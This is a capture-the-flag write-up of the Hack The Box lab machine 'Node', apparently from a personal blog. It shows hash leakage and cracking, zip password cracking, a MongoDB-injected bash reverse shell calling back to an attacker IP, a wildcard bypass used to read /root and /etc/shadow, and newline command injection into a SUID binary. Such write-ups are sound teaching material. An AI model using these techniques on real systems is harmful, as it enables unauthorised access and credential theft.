Node is about enumerating an Express NodeJS application to find an API endpoint that discloses the usernames and password hashes. To root the box is a simple buffer overflow and possible by three other unintended ways.
Recon
Nmap
The first thing that I do is run nmap scan that show this results:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
0xStarlight@kali$ nmap -sC -sV -Pn 10.10.10.58 -vv > nmap_scan.conf
0xStarlight@kali$ cat nmap_scan.conf
PORT STATE SERVICE REASON VERSION
# 22/tcp open ssh syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwesV+Yg8+5O97ZnNFclkSnRTeyVnj6XokDNKjhB3+8R2I+r78qJmEgVr/SLJ44XjDzzlm0VGUqTmMP2KxANfISZWjv79Ljho3801fY4nbA43492r+6/VXeer0qhhTM4KhSPod5IxllSU6ZSqAV+O0ccf6FBxgEtiiWnE+ThrRiEjLYnZyyWUgi4pE/WPvaJDWtyfVQIrZohayy+pD7AzkLTrsvWzJVA8Vvf+Ysa0ElHfp3lRnw28WacWSaOyV0bsPdTgiiOwmoN8f9aKe5q7Pg4ZikkxNlqNG1EnuBThgMQbrx72kMHfRYvdwAqxOPbRjV96B2SWNWpxMEVL5tYGb
| 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKQ4w0iqXrfz0H+KQEu5D6zKCfc6IOH2GRBKKkKOnP/0CrH2I4stmM1C2sGvPLSurZtohhC+l0OSjKaZTxPu4sU=
| 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB5cgCL/RuiM/AqWOqKOIL1uuLLjN9E5vDSBVDqIYU6y
# 3000/tcp open hadoop-tasktracker syn-ack Apache Hadoop
| hadoop-datanode-info:
|_ Logs: /login
| hadoop-tasktracker-info:
|_ Logs: /login
|_http-favicon: Unknown favicon MD5: 30F2CC86275A96B522F9818576EC65CF
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: MyPlace
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
From the nmap results, we can see that there is port 3000 which is a web service that running on the server and on port 22 is SSH.
Website - TCP 3000
First of all, we can add the IP to our /etc/host
folder as node.htb
1
2
0xStarlight@kali$ sudo nano /etc/host
10.10.10.58 node.htb
Upon visiting the site, it looks like a typical social media site. It has a signup page which is currently closed, and a login page.
I tried using some common usernames and passwords to log in, but none of them succeeded. Since it uses NodeJS, there’s a good chance the backend is using MongoDB. I tried some basic NoSQL injections but got no luck. I then tried feroxbuster, but that resulted in the URL redirecting all the pages to the main home page.
So none of those helped me anyhow.
Cracking Hashes
Let us refresh the page, check the network tab, look through all the *.js
files, and check if we find any interesting files.
I found an interesting js
file that makes a GET request to another js
file to pull down all the profiles.
1
2
3
4
GET /assets/js/app/controllers/profile.js HTTP/1.1
Host: node.htb:3000
Connection: keep-alive
[SNIP...]
Let us look at the source code of the js
file.
It is making a GET API request to /api/users
seems to pull down the username parameter
Upon visiting the endpoint, we can see that it contains all the user’s IDs, usernames and hashes, which will allow us to log in to the webpage.
We can grab the hashes and try cracking them on crackstation to get the passwords in plain text.
Great now we have the username and passwords in plain text. Let’s login on to the web page as myP14ceAdm1nAcc0uNT
as it has admin privileges.
Shell as Mark
myplace.backup
After Logging in, there was an option to download a backup file. We can download the file on our local machine and start to analyze it.
We can try checking the file type first.
1
2
0xStarlight@kali$ file myplace.backup
myplace.backup: ASCII text, with very long lines, with no line terminators
It says ASCII text. Let us read the content of the file.
1
2
3
4
0xStarlight@kali$ cat myplace.backup
UEsDBAoAAAAAAHtvI0sAAAAAAAAAAAAAAAAQABwAdmFyL3d3dy9teXBsYWNlL1VUCQADyfyrWXrgd2F1eAsAAQQAAAAABAAAAABQSwMEFAAJAAgARQEiS0x97zc0EQAAEFMAACEAHAB2YXIvd3d3L215cGxhY2UvcGFja2FnZS1sb2NrLmpzb25VVAkAA9HoqVlL/8pZdXgLAAEEAAAAAAQAAAAAynsHjHtvHInyMHK96c66FXUMDUOwEAWe+Am9h6156G33NE/wuxHi0dnBAx8vweFPkPqZtCDL3hM4F+eobU5Cerzkqznx9Fu1mCWfZFHymBPNt+ihMv+mlQbBfTJ6VQrUVmgoxcEt51mXSx5sWQ/92wOT0aZs1cxrWnlpfAS+mRr/a8HjU8ZqF6XiEhR9EIaLPeuXGFRaB7o9mT0/YvtfL1zSnzme5kdmQhquEV/4Zxo4lJv5JTbxPJeC
[SNIP...]
It seems like base64 encoded ASCII text. We can pipe the file content as base64, store it into another file, and recheck the file type.
1
2
3
4
0xStarlight@kali$ cat myplace.backup | base64 -d > unknown_file
0xStarlight@kali$ file unknown_file
unknown_file: Zip archive data, at least v1.0 to extract
It results in a Zip archive data file. When trying to unzip, it requires a password. We can crack the password by fcrackzip
using rockyou.txt
as the wordlist.
1
2
3
0xStarlight@kali$ fcrackzip -u -D -p /home/kali/rockyou.txt unknown_file
PASSWORD FOUND!!!!: pw == magicword
Lets unzip the file and check the archived content
1
2
0xStarlight@kali$ ls
app.html app.js node_modules package.json package-lock.json static
After reading the content in app.js
we can get the credentials to connect to MongoDB on localhost to myspace process.
1
0xStarlight@kali$ batcat app.js
mark:5AYRft[SNIP…]
SSH as Mark
Let us try to logon as SSH as Mark with the same password we found from the app.js
file. Maybe password reuse?
1
0xStarlight@kali$ ssh mark@10.10.10.58
Great we logged on !
Shell as Tom
We found MongoDB running on Mark’s machine from the downloaded backup file. We check if any node services are running on the machine and try to connect it as Mark.
1
2
3
4
mark@node:/home$ ps aux | grep node
tom 1230 0.0 5.3 1008056 40400 ? Ssl 18:55 0:01 /usr/bin/node /var/scheduler/app.js
tom 1234 0.0 5.6 1019880 42936 ? Ssl 18:55 0:01 /usr/bin/node /var/www/myplace/app.js
mark 1541 0.0 0.1 14228 940 pts/0 S+ 19:37 0:00 grep --color=auto node
It looks like Tom has the same file running on a different process Let’s read the content from /var/scheduler/app.js
file.
It looks like it creates a DB collection named task. It takes an input parameter as cmd on line 18 and executes it, and then deletes it after the execution is done. So now we can privilege escalation by injecting a reverse shell in the cmd parameter. Let us try to connect to mongo DB as Mark using the scheduler process.
1
mark@node:/home$ mongo -u mark -p 5AYRft73VtFpc84k scheduler
It seems like the DB is empty after querying the data collections.
1
2
3
4
5
6
> show collections
tasks
> db.tasks.find()
>
> db.task.count()
0
Let us add an object in the tasks collections with a cmd parameter containing a reverse shell that will connect back to Tom since the scheduler process is running as Tom.
1
2
3
> db.tasks.insert({"cmd": "bash -c 'bash -i >& /dev/tcp/10.10.14.17/9999 0>&1'"})
WriteResult({ "nInserted" : 1 })
>
We got a shell as Tom !
backup SUID
Let us check the SUID privileges for Tom user and search for any interesting files.
1
tom@node:/home$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
I found an interesting file backup
, with file permissions as admin
to execute. We can execute the file since we have GUID as admin
as Tom. On executing the file, it doesn’t return anything.
1
tom@node:/$ /usr/local/bin/backup
I do remember that there was a process that spawns backup on api.js
whcih we found earlier. Let’s read that and see what it does.
1
var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
It takes three parameters: -q
, then a backup key and a directory name. Let us run the file using strace
to check what’s happening.
1
tom@node:/$ strace /usr/local/bin/backup a a a
At the end of the file we can notice its trying read the content of "/etc/myplace/keys"
file.
1
2
3
4
5
6
7
8
9
10
11
12
13
[SNIP...]
) = 81
write(1, "\n", 1
) = 1
open("/etc/myplace/keys", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=196, ...}) = 0
read(3, "a01a6aa5aaf1d7729f35c8278daae30f"..., 4096) = 196
read(3, "", 4096) = 0
write(1, " \33[33m[!]\33[37m Ah-ah-ah! You did"..., 57 [!] Ah-ah-ah! You didn't say the magic word!
) = 57
[SNIP...]
After reading the file’s content, We can figure that it contains some keys. Maybe we can use these keys and read the root directory?
1
2
3
4
tom@node:/$ cat /etc/myplace/keys
a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474
3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110
Shell as Root
Read Flag only [ Path I ]
Since now we have the keys and know how it works, let us try to read the root directory folder.
1
tom@node:/$ backup -q a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 /root
Let us transfer the output to our local machine and analyze it. It looks like base64, and piping it out to a file and analyzing it tells it is a zip file. We can use the same password as last time to crack the zip and read the data.
1
2
0xStarlight@kali$ cat unknown | base64 -d > unknown.zip
0xStarlight@kali$ unzip unknown.zip
After extracting the file it gives us root.txt
Let us read the content of the file.
1
0xStarlight@kali$ cat root.txt
Its a troll ! :( I guess its not that easy
Let us try it out again without /
in /root
while entering the parameter. I am just guessing and checking the result.
1
tom@node:/$ backup -q a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 root
It has way more output this time. Let us do the same steps as before, extract the file and then read the file’s contents.
1
2
3
4
5
6
7
8
9
10
11
12
13
0xStarlight@kali$ unzip decode.zip
Archive: decode1.zip
creating: root/
[decode1.zip] root/.profile password:
inflating: root/.profile
inflating: root/.bash_history
creating: root/.cache/
extracting: root/.cache/motd.legal-displayed
extracting: root/root.txt
inflating: root/.bashrc
inflating: root/.viminfo
creating: root/.nano/
extracting: root/.nano/search_history
It looks like we have root.txt 🥳. But it’s not over yet. We don’t have a shell.
Wild Characters [ Path - II ]
Let’s transfer this file over to our local host machine and analyze the file on binaryninja. Open the main function in the disassembly Graph view.
After scrolling down, we can see that it has /root
as a bad character, resulting in the troll ASCII Art.
Further Scrolling down, we can get a list of all the bad chars that it doesn’t allow.
..
And if we go on doing this, we will find all the bad characters.
1
Bad chars : .. /root ; & ` $ | /etc // / etc
Looking at our bad chars list, we don’t have the *
nor ~
sign. We can use this to bypass and read the /root
directories files and content. For example, if we do the following command on our local machine.
1
2
3
$ cd ~
$ cd r**t
$ cd r??t
We will be returned to our home directory since there is no other directory it can get returned to. Hence we can read the root flag this way. Let us try it out.
1
tom@node:/$ backup -q a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 /r**t/roo*.txt
This gives us the root.txt
file content.
We can do the same steps as privilege escalation 1 to extract the file and retrieve the flag. We can also try to read the /etc/passwd
file and then try to crack it, then SSH as root on the machine.
1
tom@node:/$ backup -q a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 "/e*c/shado*" ; echo
Extract the file by the same methods above, and then we can read the shadow file root hashes.
Command Injection [ Path-III ]
Open the main function in the disassembly Graph view. Scroll down to the part where it executes the zip command if the parameters are correct.
Here we can see it has the exec command for zipping the data, and below that, we can also see that it calls the system; which means we might be able to do command injection on the third parameter with the help of a new line and get root and it is not a bad char as well. Now let us find out how we can do the command injection.
Open the main function in ELF Linear View. We can see a command which gets executed if we enter the correct magic word. It will zip the file content in base64 and display it to us on the screen.
1
"/usr/bin/zip -r -P magicword %s %s > /dev/null"
As per the command, we can see it takes the last argument and pushes it to /dev/null
. Hence, the command won’t execute it. So we can try to execute /bin/bash
and get a root shell! We can do the command injection something like this.
1
2
3
"randomblahbla
/bin/bash
randomblahba"
We can’t do command injection in the first parameter since it has a bad char check for /
but not for the chars on a new line, and we can’t put it at the end as it will get flushed out to /dev/null
.
Lets try it out
WE ARE ROOT !!
BOF [ Path - IV ]
A really good blog is written for this method of priv esc https://rastating.github.io/hackthebox-node-walkthrough/
Box Rooted
HTB Profile : 0xStarlight
If you find my articles interesting, you can buy me a coffee